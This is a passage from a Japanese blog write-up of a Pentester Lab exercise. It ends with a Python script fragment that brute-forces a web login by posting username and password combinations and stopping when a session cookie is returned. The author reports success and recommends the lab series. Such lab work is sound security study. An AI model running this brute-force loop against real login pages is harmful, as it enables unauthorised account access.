            print("attack count ",count," percent:",100*count/(user_count*pass_count),"%")
        
        req = urllib.request.Request(url, urllib.parse.urlencode(data).encode('utf-8'), headers)
        res = opener.open(req)
        body = res.read()
        if res.info()['Set-Cookie'] != None:
            print("[+] Valid user Found!! user=",user.rstrip('\n')," password=",password.rstrip('\n'))
            #print(BeautifulSoup(body, 'html.parser'))
            sys.exit()
res.close()

これを実行すると、
f:id:kakyouim:20200127011133p:plain
testで成功しました!わーい!


これ以後は公式の解説通りなのでそっちを参照してください

最後に

ここではログインブルートフォースまでを記事にしました。参考になればよかったです。
Pentester Lab シリーズは公式の解説がめちゃくちゃ丁寧なのでぜひやってみることをお勧めします!
いつかhardレベルも解けるようになりたいものですね。